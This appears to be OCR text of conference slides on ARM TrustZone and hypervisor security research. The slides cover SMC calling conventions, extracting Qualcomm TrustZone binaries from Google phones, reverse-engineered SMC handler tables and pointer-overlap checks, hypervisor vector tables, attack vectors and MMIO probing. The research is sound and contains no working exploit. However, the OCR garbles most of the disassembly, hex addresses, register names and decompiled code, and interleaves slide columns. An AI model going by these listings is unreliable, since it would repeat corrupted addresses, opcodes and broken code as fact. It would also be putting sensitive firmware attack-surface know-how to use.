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Motivation

« Security research in ARM TrustZone exists but we’'d like to advance
research in security of virtualization on ARM

* Understand the threat model of ARM hypervisor and TrustZone

* We wanted to analyze similarities and differences in attack vectors
on x86 and ARM based systems

« Example: unchecked pointer vulnerabilities were found in both
ARM TrustZone and in x86 System Management Mode firmware:
Exploring Qualcomm's TrustZone implementation and New Class
of Vulnerabilities in SMI Handlers



http://bits-please.blogspot.com/2015/08/exploring-qualcomms-trustzone.html
http://bits-please.blogspot.com/2015/08/exploring-qualcomms-trustzone.html
http://bits-please.blogspot.com/2015/08/exploring-qualcomms-trustzone.html
http://bits-please.blogspot.com/2015/08/exploring-qualcomms-trustzone.html
https://cansecwest.com/slides/2015/A New Class of Vulnin SMI - Andrew Furtak.pdf
https://cansecwest.com/slides/2015/A New Class of Vulnin SMI - Andrew Furtak.pdf
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Concept and Timeline

2006: SubVirt: Implementing Malware with Virtual Machines by Samuel T. King et al
(Microsoft Research)

2006: Hardware Virtualization Rootkits by Dino Dai Zovi and BluePIill by Joanna
Rutkowska (BHUSA 2006)

2008: Bluepilling the Xen Hypervisor by Invisible Things Labs (BHUSA 2008)

... (research in exploiting hypervisors)

2015: Attacking Hypervisors via Hardware and Firmware (BHUSA 2015)


http://invisiblethingslab.com/resources/bh08/part3.pdf
http://invisiblethingslab.com/resources/bh08/part3.pdf
http://invisiblethingslab.com/resources/bh08/part3.pdf

ARM Security Architecture Overview

Normal World Secure World

App App Trustlet Trustlet
Kernel + Drivers TZ Kernel

Hypervisor TZ Monitor

‘ Crypto \

Hardware




ARMv7 (32bit) Privilege Levels
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ARMvS8 TrustZone and Hypervisor Interfaces

Register Name Role during SMC call

SMC32 SMC64 Calling values Modified Return state
SP_ELx ELx Stack Pointer No
SP_ELO ELO Stack Pointer No
X30 The Link Register No Unchanged,
) Registers are
X29 The Frame Pointer No saved/restored
X19...X28 Callee-saved registers No
X18 The Platform Register No
X7 The second intra-procedure-call scratch register. | Yes
X16 The first intra-procedure-call scratch register. Yes
X9...X15 Temporary registers Yes Unpredictable,
X8 Indirect result location register Yes Scratch
W7 W7 Hypervisor Client ID register Yes registons
W6 X6 Parameter register Yes
(or W6) Optional Session ID register
W4.. W5 X4...X5 Parameter registers Yes
W1...W3 X1..X3 Parameter registers Yes SMC Result
Wo X0 SMC Function 1D Yes registers

SMC Calling Convention



http://infocenter.arm.com/help/topic/com.arm.doc.den0028b/ARM_DEN0028B_SMC_Calling_Convention.pdf
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TrustZone Arch Evolution

Google
Nexus 5
ARMv7, 32 bit
Snapdragon 800 (8274)
PL1 mode
Google TZ Kernel Google
Nexus 5X/6P aarch3z Pixel
ARMvS, 64 bit ARMvVS8, 64 bit
Snapdragon 808/810 (MSM8992) Snapdragon 821 (MSM8996)
EL1 mode EL3 mode EL1 mode EL3 mode
TZ Kernel TZ Monitor TZ Kernel TZ Monitor
aarch32 aarche4 aarchoe4 aarch64




Xx86 vs ARM Architecture

Root of Trust Recently introduced Boot Guard

(starting Haswell gen) to provide CPU
based root of trust (Safequarding
rootkits: Intel BootGuard)

Virtualization based trusted execution
environments. SGX provides enclave
execution to user-mode components.
SMM is also used as TEE (can be
virtualized with STM)

ARM has ROM for root of trust that
checks the boot sequence components.
May have OEM unlock mode

TEE Flexible Secure World arch with

capabilities to run trusted apps. Allows

privilege level separation in the Secure
World context (ELO,EL1,EL3)

Virtualization VMX technology as context switching

between VMX root and VMX guest
modes. Supports privilege level
separation in VMX root

ARM has hyp mode as an exception
level


https://github.com/flothrone/bootguard/blob/master/Intel BootGuard final.pdf
https://github.com/flothrone/bootguard/blob/master/Intel BootGuard final.pdf
https://github.com/flothrone/bootguard/blob/master/Intel BootGuard final.pdf

Qualcomm Snapdragon 810 boot flow stages
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ARM Based System Boot Flow

* Root of trust is in ROM at APSS/RPM

 Read-only ROM verifies RW firmware

« Uses OTP fuses to program OEM lock
# adb reboot bootloader

# sudo fastboot oem unlock

« TrustZone components (Secure World) initialize and set runtime protection before
transferring execution flow to any hypervisor or OS bootloader component



TrustZone Binary

« (Google phones specific) Download factory image from Google repository

« Use unpack bootloader_image by laginimaineb to unpack bootloader-<DID>. img

 Extracted files:

aboot cmnlib hyp imgdata keymaster pmic rpm sbll sdi sec tz
« Disassemble tz
Marme Start End R x L Align Base Type i_lass AD T Ds
C [ LOAD 06000000 06044640 R X L  page 01  public CODE 32 00 OB
Eﬂ LOAD Q&045000 0a0daFa0 R X L mempage 02 public CODE 32 aa 0B
Eﬂ LOAD Q&04 7000 0a047221C R X L mempage 03 public CODE 32 aa 0B
Eﬂ LOAD 0&04E000 0a04B34 C 4 X L mempage 04 public CODE 32 aa 0B
EE LOAD Q&04C0a0 0a05sAB20 R L  mempage 05 public DATA 32 aa 0B
Eﬂ LOAD 0a05B000 0a0aBT5C R L mempage 06 public DATA 32 aa 0B
TZ QaDEBCa0 QE0Ec0a0 R L dword a7 public DATA 32 aa 0B
; QE0E o0 Qa0E0748 E L i
Monitor R L
0&08a000 0aDaBFCO 3 L
Qapac0on QBDE30CK R L byte 0B public DATA G4 [H[1] 0B



https://developers.google.com/android/images
https://github.com/laginimaineb/unpack_bootloader_image
https://github.com/laginimaineb

Test Environment

* Rooting unlocked Android Phones:
CyanogenMod
TWRP with SuperSU and custom kernel

 Useful resources: xda , Code Aurora

* Tools:
The Rekall Forensic and Incident Response Framework
Maplesyrup Regqister Display Tool
ARMageddon: Cache Attacks on Mobile Devices
Drammer - for testing Android phones for the Rowhammer bug



http://www.cyanogenmods.org/
https://github.com/TeamWin/Team-Win-Recovery-Project
http://www.supersu.com/
http://www.supersu.com/
https://www.xda-developers.com/
https://www.codeaurora.org/
https://www.codeaurora.org/
https://github.com/google/rekall
https://github.com/google/rekall
https://github.com/google/rekall
https://github.com/google/rekall
https://github.com/iadgov/Maplesyrup
https://github.com/iadgov/Maplesyrup
https://github.com/IAIK/armageddon
https://github.com/IAIK/armageddon
https://github.com/vusec/drammer
https://github.com/vusec/drammer
https://github.com/vusec/drammer
https://github.com/vusec/drammer
https://github.com/vusec/drammer
https://github.com/vusec/drammer
https://github.com/vusec/drammer

ARM TrustZone and Hypervisor
Reverse Engineering



https://imgflip.com/i/1t0m31

Open Source TrustZone Implementations

.globl  runtime exceptions

* ARM reference implementation -
. F i
ARM Trusted F”’mware * This macro handles Synchronous exceptions.

¥ Only SMC exceptions are supported.

» Boot Loader stage 1 (BL1) AP Trusted ROM ¥/
. .macro handle sync exception
* Boot Loader stage 2 (BL2) Trusted Boot Firmware /* Enable the SError interrupt */
e Boot Loader stage 3-1 (BL31) EL3 Runtime Software =t daifclr, #DAIF_ABT_BIT
e Boot Loader stage 3-2 (BL32) Secure-EL1 Payload (optional) str x30, [sp, #CTX_GPREGS_OFFSET + CTX_GPREG_LR]
» Boot Loader stage 3-3 (BL33) Non-trusted Firmware mrs x30, esr_el3

ubfx  x30, x30, #ESR_EC_SHIFT, #ESR_EC_LENGTH

° OP_TEE Trusted OS _ LanX TEE é’l:]pHand'LrjE:EI:IIZZ#Eéiigééagg_gﬁgar'.ate'L'}-' from other synchronous exceptions */
= b.e smc_handler32
using ARM TrustZone technology. L
cmp X300, #EI.-_.u..~.|i?.'.:HD4_5[v1'.,
Meets GlobalPlatform System P sne handtertd

/* Other kinds of synchronous exceptions are not handled */

AfChItECtU re Spec no_ret report_unhandled exception

.endm

i T P

« Google’s Trusty is a set of
COmponentS SUppOrtlng a TEE On : LI::E'E_ZI_TSEEE.harudles FIQ or IRQ interrupts i.e. EL3, S-EL1 and NS

mobile devices /

‘bl31l/aarched/ runtime exceptions.S" [Modified] 382 lines --10%--


https://github.com/ARM-software/arm-trusted-firmware
https://github.com/ARM-software/arm-trusted-firmware
https://github.com/ARM-software/arm-trusted-firmware
https://github.com/OP-TEE/optee_os
https://github.com/OP-TEE/optee_os
https://github.com/OP-TEE/optee_os
https://github.com/OP-TEE/optee_os
https://github.com/OP-TEE/optee_os
https://github.com/OP-TEE/optee_os
https://source.android.com/security/trusty/

TrustZone Monitor Vector Table

Table D1-7 Vector offsets from vector table base address

Offset for exception type
Exception taken from
Synchronous IRQorvIRQ FIQ or vFIQ SError or vSError
Current Exception level with SP_EL(, Bx000 Bx@30 8x100 0x188
Current Exception level with SP_ELx, x>0, @x200 Bx280 @x300 Bx388
Lower Exception level, where the implemented @x400 Bx4 80 8x 508 0x588
level immediately lower than the target level is
using AArch64.2
Lower Exception level, where the implemented 0x600 0x680 0x700 MEBEEEER, Voctor Base Address Regster (EL3)

level immediately lower than the target level is
using AArch32.a

1IB6D06188
186D9618C
186096198
1IB6D2619Y

Store 6D9B800 to

VBAR_EL3

B8 82 6@ 58
88 cCa 1E DS
g8 38 8@ D2
28 42 1B D5

LDR
HM3R
HOU
H3R

xa,
e,

#3,

=loc_G6DOBBGA
c12, cB, #8, <8
#ez1Cca

ch, c2, #1, X6

The VBAR_EL3 characteristics are:

Purpose

Holds the vector base address for any exception that is taken to EL3.

Usage constraints

This register is accessible as follows:

ELO  EL1(NS) EL1 (S) EL2 (NS) EL3 (SCR.NS=1)

EL3 (SCR.NS=0)

RW

RW

Traps and Enables

There are no traps or enables affecting this register.

Configurations

RW fields in this register reset to IMPLEMENTATION DEFINED values that might be UNKNOWN.

Attributes
VBAR_ELS3 is a 64-bit register.

ARMv8 Architecture Reference Manual



https://static.docs.arm.com/ddi0487/b/DDI0487B_a_armv8_arm.pdf

TrustZone Monitor SMC Exception Handler

EL3 Vector Table

Offset 0x400 from EL3 Vector Table
EL3 SMC exception handler

LOAD: BAB08008A8GD2EEAA
LOAD : B0B0000006DIEB 00

LOAD : B9B0B0BABEDIBE0A - CODE XREF:
LOAD : BABOA0BABEDIBE0A
LOAD : BABOAABANSDIBE0G 0O 0O 08 14 B loc_6D9BROO
LOAD : BABOA0BABSDIBE0A R
LOAD : BABOAOOONSDIBE0S DO GO OO 0O OO 00 A0 0O+ ALIGN 0280
0AD : PBABABBBNGDIBEE O
[0AD:0ANDANDONADOEEEY: 0D 00 00 00 00 00 00 80+ ALIEN 0%80 - Synchronous Lower EL D000 ; Loc 6D?B§BEDDE XREF:
LOAD : BAAOADOOASDIBESS BB 8O 08 B9 B8O 0B B0 8O+ : (include SMC eventsy| &~ lec _6poBgss |
LOAD : BAAOAABBASDIBCOB FD 7B BF A9 STP X290, X30, [SP,H-0x10]* e
LOAD : BOAOAOOOASDIBCOY F2 4F BF A9 STP X18, X19, [SP,#-0x10]*
LOAD : BOAOOOOOAGDIBCOS FO 47 BF A9 STP X16, X17, [SP,E-0x10]* 008 . CODE XREF -
LOAD : BOAOOOOBASDIBCOC EE 3F BF A9 STP X1%, X15, [SP,#-0x10]* ; Loc 6D9BY A :
LOAD : BAAOAOBAAGDIBC10 EC 37 BF A9 STP x12, %13, [SP,#-ex1e]¢ | & ~~ loc _6b98900 |
LOAD : BOPOOOOBOSDIBCTS EA 2F BF AD STP X108, X141, [SP,#-bx10]* i
LOAD : BAA0ABBAAGDIBCIS ES 27 BF A9 STP X8, X0, [SP,H-Bx10]*
LOAD : BAAOAABBAGDIBCIC E6 1F BF A9 STP X6, X7, [SP,H-0x10]*
LOAD : BAAOAAOBASDIBC2G E4 17 BF A9 STP X4, X5, [SP,H-Bx10]*
LOAD : BOAOAOOOASDIBC2Y E2 BF BF A9 STP X2, X3, [SP,E-0x10]*
LOAD : BAAOOOBBAGDIBC28 EB B7 BF A9 STP X@, X1, [SP,E-0x10]*
LOAD : BOAOAOBOASDIBCZC B4 52 3E DS MRS X4, #6, c5, c2, KO
LOAD : BAAOAABAAGDIBC3 D 84 FC 5A D3 UBFH X4, X4, #0z1A, HOX3F
LOAD : BOPOOOOBOSDIBCIY 84 14 4O 02 AND Xh, X4, HOx3F
LOAD : BAAOABBAAEDIBCIS 9F 5C 08 F1 CHP X, #Bx17
LOAD : BABOABBABSDIBCIC 68 48 FD 54 B.EQ loc_6D9658
LOAD : BAAOABBABSDIBCLE 9F 4C 08 F1 CHP X4, #0313
LOAD : BABOADOOBSDIBCYS 20 48 FD 54 B.EQ loc_6D96548




EL1 aarch64 TrustZone Kernel

LOAD:-B000000006692118 3F 608 3F 8B
LOAD - B0B080000A669211C AB B2 B8 58
LOAD:-80800000A6692128 B0 CA 18 DS
LOAD:-808008008006692124 B8 B2 88 D2

BBB16688 B3 52 38
BB@16684 63 7C SA
BBB16088 FF S4 @68
BBB1608C FB B0 6@
BB@16818 41 86 68
BB@16614 68 82 1F
BBB16618

8BB16818

BBB16618

BBB816618 68 DA 1B
BBB16061C BB B3 8@
BBB1606208 63 B85 6@
BBB160824

BBB160824

BBB1668240

Bep16624 80 08 08
BBB16628 @8 6F M1
BBB1606320 68 B0 6@
BBB16688 68 DA 1B
BBB16084 AB B3 BA
BBB16688 49 B85 @8

T R F R

DS
D3
F1
58
5y
D6

11
D2
14

aa
8B
aa
11
D2
14

80 66 B0 68
80 6008 60 66+

loc_BE16618

VBAR_EL1
Address of EL1 Vector Table

ApD SP, X1, %ZR

LDR X@, =sub_B@16000

MSR #0, ci12, co, #6, X@

HOU X@, #ox10
MRS X3, #8, c5, c2, #O
UBFH X3, X3, #oxia, #Ox1F
CHP X3, #ox1s
LDR X16, =loc_BO16F 00
B .NE loc_BB16018
BR X16 : loc_BO16F08

; CODE XREF: sub B8160008+

MSR #2, c13, cB, #3, X0
HOU X@, #oxic
B loc_BB175AC

; End of function sub BB16888

off BA16628

ALIGH &

DCO loc_BO16F A0
ALIGH B=80

MSR

Mou

B

#3, c13, cd, #3, X8
X8, #ax1D
loc_B@175AC



EL1 aarch32 TrustZone Kernel

Table G1-3 The AArch32 vector tables

Vector tables

Offset

Hyp2 Monitorb Securec Non-securec
Bx80 Not used Mot used Not usedd Not used
0x84 Undefined Instruction, from Hyp mode Monitor Trap Undefined Instruction Undefined Instruction
0x@3 Hypervisor Call, from Hyp mode Secure Monitor Call Supervisor Call Supervisor Call
Bx8C Prefetch Abort, from Hyp mode Prefetch Abort Prefetch Abort Prefetch Abort
0x1@ Data Abort, from Hyp mode Data Abort Data Abort Data Abort
Bx14 Hyvp Trap, or Hyp mode entry® Mot used Not used Not used
0x18 IRQ) interrupt IR(Q) interrupt [R() interrupt IR() interrupt
@x1C FIQ) interrupt FIQ) interrupt FIQ) interrupt FIQ) interrupt

VBAR, Vector Base Address Register

The VBAR characteristics are:

Purpose ‘

When high exception vectors are not selected, holds the vector base address for exceptions that are
not taken to Monitor mode or to Hyp mode.

Accessing the VBAR:
To access the VBAR:

MRC pl5,@,<Rt>,c12,c0,8 ; Read VBAR into Rt
MCR pl5,@,<Rt>,cl12,c0,0 ; Write Rt to VBAR

a6DboBoAd DB B1 9F ES
ascDbaBoALY 18 BF B8C EE

LDR R, =UBAR_EL1
HMCR pi5, 8, R8,c12,c8, B

ARMvS8 Architecture Reference Manual



https://static.docs.arm.com/ddi0487/b/DDI0487B_a_armv8_arm.pdf

Open Source TrustZone Driver

SCM (Secure Communication Manager) Driver

static int allocate extra_arg buffer(struct scm_desc *desc,

{

int 1, j;
struct scm_extra_arg *argbuf;

int arglen = desc-=arginfo & Oxf;
size t argbuflen

[1].[2]

Check what type of SMC system

boo

‘scm.c”

desc-=x5 = desc-=args[FIRST EXT ARG IDX];

if (likelylarglen == N_REGISTER_ARGS)) {
desc-=extra arg_buf = NULL;
return 0;

gfp_t flags)

= PAGE_ALIGN(sizeof(struct scm_extra_arg));

}

x@ = SCM _SIP FNID(SCM SYC INFO, IS CALL AVAIL CMD)

ret = scm _call _armve 64 x@ | SMCE4 MASK SCM_ARGS(1),
Gretl, NULL, MNULL);
if (ret || 'retl) {
/* Try SMC32 call */
retl = 3;
ret = scm call _armv8 32(x0, SCM _ARGS(1), x0,
&retl, NULL, NULL);
if (ret || 'retl)
scm_version = SCM LEGACY;
else
scm_version = SCM_ARMVE 3Z;
} else

scm_version_mask = SMCG64 MASK;

pr_debug("scm_call: scm version is %x, mask is Sx\n",

[Modified] 1172 lines --45%--

| is_scm_armv8(void) <\ Supports
{
int ret;
ued retl, x0;
/* First try a SMCE4 call */
scm_version = SCM_ARMVE 64;
retl = @;

| SMC_ATOMIC MASK;

x0, 0, 0, 0,

@, 6, 0,

scm_version,

argbuf = kzall
if (targbuf) {
pr_er
returr

memory

}

desc-=extra_arg buf = argbuf;

j = FIRST_EXT_ARG _IDX;
1T (scm_version == SCM_ARMVE 64)

for (1 = 0; 1 = N_EXT_SCM_ARGS; i++)
argbuf-=args64[i] = desc-=args[j++];
else
for (1 =0; i = N EXT SCM ARGS; i++)

argbuf-=args32[i] = desc-=args[j++];
desc-=x5 = virt_to phys(argbuf);
__cpuc_flush deache _areal(argbuf, argbuflen);
outer Flush range(vlrt to phys(argbuf),
virt to phys(argbuf] + argbuflen);

scm.c" 1173 lines --52%--

Store extra arguments through

~\



https://android.googlesource.com/kernel/msm/+/android-7.1.0_r0.2/drivers/soc/qcom/scm.c
http://bits-please.blogspot.com/2015/08/exploring-qualcomms-trustzone.html

SMC Handler Arguments in ARMv8 Systems

SMC Handlers with < 5 args

L

J

X0 (handler ID)

X1 (num_args)
X2 (arg0)
X3 (argl)
X4 (arg2)
X5 (arg3)

‘ SMC Handlers with >= 5 args ]

X0 (handler ID)
X1 (num_args)
X2 (arg0)
X3 (argl)
X4 (arg2)
X5 (args_buf)

+

Physical

Address Space

Android Memory

Arguments buffer:
Arg3
Arg4d
Arg5




Reversing SMC Default Handler...

Check SMC64 or SMC32 event

= is_SCHM_SHMCA4( );

if ) ( Check if Entry with ID in X0 exists in SMC
= iS_SEM_hEII‘IdlEr‘_EHiSi-ZS{ o T handler table

I - ] ‘\

if (¢ )

return BxFFFFFFFF;
if § t=( ¥ + 16) )/ check if address of the handler is not HULL

return BxFFFFFFFD;

= = 3 + 8);
= & Bx=F;

if > BxA )

return BzFFFFFFFD; e

4
if & OxF) ?= ) L Check X1 in SMC Handler Table

return BxFFFFFFFB;
if ( t= h]
return BxFFFFFFF6;
if ( »=5
&& check _buffer_args with_TZ_ addr_overlap{({ Y& . , 4 o* - 121 )
1
return B2FFFFFFFA;
¥

if { ={ Y - + 12 & 8 || ( = ouerlap_check_args_TZ2( »
{
dw svc_cmd_id = ={ 3 + 4);
= get_async_data_ abort IR( FIQ mask _bits();
if { =( ¥ + 12) & 2 && = 0 &b& ¥(=( 3 + 4y & B=88) )

If Hander has >=5
arguments then check
argb,... for
overlapping with TZ
address Y,




Reversing SMC Default Handler...

Check arg0-arg4 arguments for overlapping with TZ

if { ={ BYTE =){ + 12y & 8 || ¢ = overlap_check_args TZ2(
{
du svc_cmd_id = ={ DWORD =}){ + 4);
= get_async_data abort IRQ FI( mask bits();
+ 12) & 2 && >= B && T{={_BYTE *){

if { *={_DWORD =){
CPSP_set exception_non_masked( | B=x88);/7 |0xB8 - non masked IRQ exception
= get_async_data abort IRQ FIQ mask bits();

+ L4y & A8x88) )

e

dw async_data abort IR(Q FIQ mask bits =

= dispatch_SHC caller {//f ret positive - success —
{int)SHC_caller,
{int)& .

*(_ DWORD *){ + 16),// address of SHC handler

*{ DWORD =} ’
*#{ DUWORD =){
CPSP_set exception masked{128);
=ﬂ;

+ W)3);/4 suc_cmd _id

\

Call SMC dispatch function with
SMC handler pointer and SMC
caller function




Reversing Overlap Checks...

unsigned int  fastcall check buffer_args with TZ addr overlap{int p_buffer_ , int buffer_, int buffer size )
1
char =huffer; Fff roai
char =pbuffer; S/ ré@E1
int buffer size; f/f rii@i
unsigned int result; /f/ @@
char wi; 775 zFd2
bool v8; f/ 18

buffer = {char =}buffer_;

pbuffer = {char =)}p_buffer_;
buffer size = buffer _size ;

result = BxFFFFFFFB; Check “buffer” pointer for overlapping with TZ

if { buffer )

{
uvf = pbuffer == 8;
if { pbuffer )}
u? = buffer _size == B;
if { tui )

{
if { check _TZ addr_overlap (buffer , buffer size ) && tcheck TZ addr overlap {({int)pbuffer, buffer size) }
{
Clean_Data Cache Line ({int)buffer, buffer size); ( “ ”
nemcpy({pbuffer, buffer, buffer size); Copy buffer” and check for
uf = check TZ addr_owverlap ({int)buffer, buffer size); = —— : '
Cecult o 83 overlapping with TZ every DWORD

if ( tug ) In the buffer
result = B=FFFFFFEE;

(Race Condition protection)

~

J




How the check for overlap with TZ works

check args TZ addr overlap() logic
X2 (arg0) X3 (argl) X4 (arg2) X5 (arg3)

~
Check address in Xi and

size in Xi+1
for overlapping with TZ
L ppINg )

p6D5B016 08 08 88 B9 DCD @

p6D5B014 02 08 86 B9 DCD 2 -\
B6D5BH18 88 3C DB 06 DCD Bx6D83CA0 .

06D5BO1C B8 48 D8 86 DCD Bx6D84080 Format:

860580208 01 08 86 B0 1 o

06058024 81 00 80 B9 DCD 1 Index

p6D5B025 08 00 88 B9 DCD 0 .

p6D5B02C 08 9O 88 B9 DCD 0 Enable Flag
p6D5B030 02 98 88 B9 DCD 2 . '
p6D5B034 81 08 88 B9 DCD Address Begin
B6DSEO38 B0 B8 08 80 DCD 0 e Address End
06D5B03C 08 08 88 B0 pCD 8 \\¥ 4,/
06D5B040 03 08 88 B0 DCD 3

p6D5B044 02 00 80 B9 DCD 2

P6D5B045 08 CO EF 86 DCD BxGEFCOA0

p6D5B04C 88 DB EF 86 DCD BxGEFDOAD

p6D5B050 B4 88 88 B9 DCD 4

p6D5B054 02 08 88 B9 DCD 2

86058058 08 DB EF 86 DCD BxGEFDOAO

B6D5BO5C 08 EB EF 86 DCD BxGEFE0O0




Reversing SMC Handlers Table...

B6D6O7F0 0O 00 0O BY SCH_table DCD Ox40800000

86D6 07F B

B6D6O7FL 81 81 8@ 32 DCD Bx320086181 ; SCH_QSEEDS ID si

B6D607FS 83 08 00 00 T

B6D6O7FC 13 08 0O 8O DCD Bx13

B6D6 0200 8D 1F D1 86 DCD tzos_app_start+i

B6DG 0204 0@ 08 0O 04 DCD Ox4000000

B6D6 0208 82 01 0@ 32 DCD 0x32000102 ; SCH_QSEEDS ID si

B6DGOSOC 81 08 0O 00 [TH

B6D6 0810 13 08 00 00O DCD Bx13 \

86060814 11 21 D1 86 +1 Format:

86060818 0@ 08 00 04 DCD Ox40088008 .

B6D6021C 03 61 0@ 32 DCD 0x32000103 o I\/Iaglc number

B6D6 0820 22 08 0O 0O DCD Bx22

B6D6 0224 13 08 0O 00 DCD Bx13 « SMCID

B6D6 0828 D9 21 D1 06 DCD sub_6D121D8+1

9606 682C 08 80 80 04 N —— * Arg2 (num_args)

(B6D60536 B4 B1 B8 32 DCD B:x32 A6 A4

 Arg3
( SMC function pomterj

id: 32000203 num args: 2 SUc_ID: 2 CHD-ID: 3 arg2: 2 arg3: 8x13 type: 3SCH_QSEEOS_FHID SCHM_SUC_PIL fptr: sub_6D12888
id: 32000167 num args: 3 SUc_ID: 1 CHD-ID: 7 arg2: 3 arg3: 8x13 type: SCH_QSEEOS_FHID SCHM_SUC_BOOT fptr: sub_6D12948
id: 320808108 num args: @ SUC_ID: 1 CHD-ID: 8 arg2: 8 arg3: 8x13 type: SCHM_QSEEOS_FHNID SCH SUC_BOOT fptr: sub 6D129CH
id: 320001086 num_args: 2 SUC ID: 1 CHD-ID: & arg2: 6x22 argd: B8x13 type: SCHM _QSEEOS_FHNID CH_SUC_BOOT fptr: sub_6D12A2Y4
id: 32000401 num_args: 1 SUC_ID: &% CHD-ID: 1 arg2: 1 arqd: 8x13 type: 3CHM _QSEE0OS_FHID SCHM SUC_TZ fptr: sub_6D12A5A
id: 32000402 num args: @ SUC_ID: 4% CHD-ID: 2 arg2: @ argd: 8x13 type: 3CHM _QSEE0OS_FHNID SCH SUC_TZ fptr: sub_6D12ABA
id: 320088301 num args: 3 SUC ID: 3 CHD-ID: 1 arg?2: 3 arg3: 8x13 type: SCH _QSEEOS_FMID SCHM_SUC_UTIL fptr: sub_6D12AEC




Example of SMC Handler Ip: 2001302

num args: 3
SVC ID: 13

unsigned int _ fastcall sub 6D1DCBA4(int al, int a2, unsigned int a3, signed int =ret buf)

{

signed int =uh; /7 r5E1
unsigned int vw5; F/ rhiEd

vh = ret_buf;
us = BEFFFFFFFB;
if { al )
{
if ( a2 == Bx28 )
1
us = B;
if { ret buf }
{
*ret_buf = sub_6D32DB8(al, ad);
uhf1] = @
uL[2] = 8;
¥
¥
s

return vs;

CMD-1ID: 2
arg2: 0x23
type: SCM SIP FNID

signed int _ fastcall sub 6D32D38{(int a1, unsigned int a2)

{
unsigned int wv2; /f/f ri@2
unsigned int w3; /F/7 r2@2
int vl; F/ r3dh

if ( a2 € 3 )
{
u2
u3
do
{ .
iF (U3 >0 ) Write to Arg0 (X3)
break;
vl = dword_ 6DSE248[v2];
u? += 3;
*{ DWORD =)(al + 4 = ul++) = ul;
¥
while { a2 + vi < 3 });
¥

return 3;

3 *® at;
a;

}




SMC Handler Communicates with Secure Device

OSEE_Map Region SHC 5{4);
sub_6&6DBA23EC{1, 1, ’ =
whlle { *check status PRHG{} )}

= ﬂ;
= ﬂ;
while { 1 3}
{
=-; /7 TRHG_STATUS
if & 1)
{
=-; /7 DATA OUTPUT
1F { ) | ( A
+= 43 . Read MMIO register to get
e
»{ BYTE = = ;
ii—{ }}3 ) uF9BFF 863 random data from RNG
{ y,
—_= J-l-;
*{_BYTE =){ + 1) = >r 16;
*{ BYTE =}){ + 2) = BYTE1( y;
%{ BYTE =){ + 3) = ;
+= 4;



Reversing Error Codes...

Different error codes
indicate different
execution flows

—\_
— OxFFFFFFFO; /
= == ﬂ;
if 3
= == ﬂ;
if (¢ [ <= Bx288 )
{
if { check2( ’ Y || *check TZ addv_overlap{p_ranges_ table, ’ + - 1) )
{
= BXFFFFFFEE; ——mm——
, " Error code: ]
clse |_FFFEFFEE
= f£ill buf_ PRNG_DATA({ , ¥;
Write Clean_and Invalidate Data Cache Line{ . ¥;
= BxFFFFFFEY;
if ( ub == ) — " Error code: ]
, - ; |_FEFFEFEQ
b

return ;




Hypervisor on Snapdragon 808/810

VBAR EL2
pOOAAC A8 A8
PO0BAC 88 08 loc_6C63800
POB06C ASSAA
PO0OSCASSE0 [E8 F9 FF 17 B loc_6CB6FAB
PO0OsC ASSOA e
pOOOGCASEEL GO 60 OO 6O 6O 60 OO 6O PO 6O 00 6O OO OO 00 OO+ ALIGN 6x80
PO0OSCAS8E0 FE 03 BF A9 STP X308, X8, [SP,H-0x10]¢
PO0OSCASEEL 20 01 80 D2 HOU X0, #o
PO0ASCASEES D5 E1 FF 97 BL sub_6CB8FDC
POOBSCASBSC FE 03 C1 AS LDP X308, X8, [SP],H#0x18
POBB6C AS8Y A
pOOO6C AS8I A loc_6C68890 ; CODE XREF: LOAD:
POOOSCASSYH 0O 00 00 14 B loc_6C68890
pO00sC AS8I A I
pOOOGCASE9S PO 60 OO 6O 6O 60 OO OO PO 6O 00 06 OO 00 00 OO+ ALIGN 6x80
PO00SCAS980 FE 03 BF A9 STP X308, X8, [SP,H#-0x10]*
80806CH8964 40 61 80 D2 HOU X8, #OxA TTBRO EL2
PO00SCA8968 BS E1 FF 97 BL sub_6CABFDC —
PO6OSCASYAC FE 03 C1 AS LDP X308, X8, [SP],H#0x18 Stage 1
pO0O6C 08910 ;
AaBB6C 08910 loc_6CHA8918 ; CODE XREF: LOAD: Translation table
LOAD : BA0000AAAGCA14ED 80 D8 AB D2 HOU X0, HOX6CLO000
LOAD : BAO0000AAGCH14EYL 40 17 66 14 B loc_6C671E4
LOAD : BAOOOOAAA6C A7 1EL loc_6C671E4 ; CODE XREF:
LOAD : BAOOAAAAAGCA71EL B0 208 1C DS MSR #u, c2,| ce, #0, X0
LOAD : 80AAAAAAOGCA71ES 80 01 60 58 LDR X8, =BxBBO4FFLY
LOAD : 8AAOBOAAAGCAZ1EC B0 A2 1C DS MSR #4, c18, c2, #0, X8
LOAD : BAO0OOAARGCAZ1FE 80 61 B0 58 LDR X0, =Bx80803A20
LOAD : BOP0OOAAAGCA71FL 40 268 1C DS MSR #h, c2, co, #2, X0
LOAD : BAOOOOAAAGCA71FE CO B3 5F Dé RET
LOAD : BOOOOOAOAGE A7 1FS ; END OF FUNCTION CHUNK FOR sub_6CE14E@




-y rr- —
ERE IS ALWAYS A WAY
y 2 ) % P- ' T .’. ‘ID

ARM TrustZone and
Hypervisor Attack Vectors




Attack Vectors

Normal World : Secure World

——a®
ELO App . L Trustlet Trustlet

Hypervisor l

EL1 Kernel + Drivers

I#I

Secure Monitor

Additional reading: awesome work on exploiting TrustZone by Gal Beniamini of PO [1], [2], [3], [4]


http://bits-please.blogspot.com/2016/06/trustzone-kernel-privilege-escalation.html
http://bits-please.blogspot.com/2016/05/qsee-privilege-escalation-vulnerability.html
https://googleprojectzero.blogspot.com/2017/02/lifting-hyper-visor-bypassing-samsungs.html
https://googleprojectzero.blogspot.com/2017/07/trust-issues-exploiting-trustzone-tees.html

Exploring Device MMIO Ranges...

Things we look for in MMIO:

Registers accessible from different privilege levels

Registers accessible at Boot vs Run time

« Addresses/pointers in registers
Methods to test MMIO registers:

Every register in a specific device
Every page in entire MMIO range

Non-zero registers

MMIO:
Nexus 5x/6p: 0x£9000000 - Oxffffffff
Google Pixel: 0x0000000 - Ox7fffffff

/proc/iomem

fOO17000-f9017FfFf
fOlO0EOE-fOlOGTFT

9824500 - 1982485
f991e000-f991efff

9963000 -T9963Tff

T9966000-f9966TTT

TOb3800Q0-T9R387 T
fSb3e000-T9b3e3fe

fcd281dO-Tc4291ct
fcdagb00-fcdaStff
fcdabbO0-fcdabbo3
fcdbcGOO-fcdbe FT T

fcBBHOOE - fcBBOATT
Tda@OoZ20 - TdalBeZf
Tdalbo30-fdaboos33
TdalBe38-fdalBe3b
fdatbo4d - fdaboeds

TdalB000 - fdab83ff

fda@aldt-fdabadff

fda@cOO0-fdalc T f
TdbOBOOE-fdb3TFff

: msm-watchdog
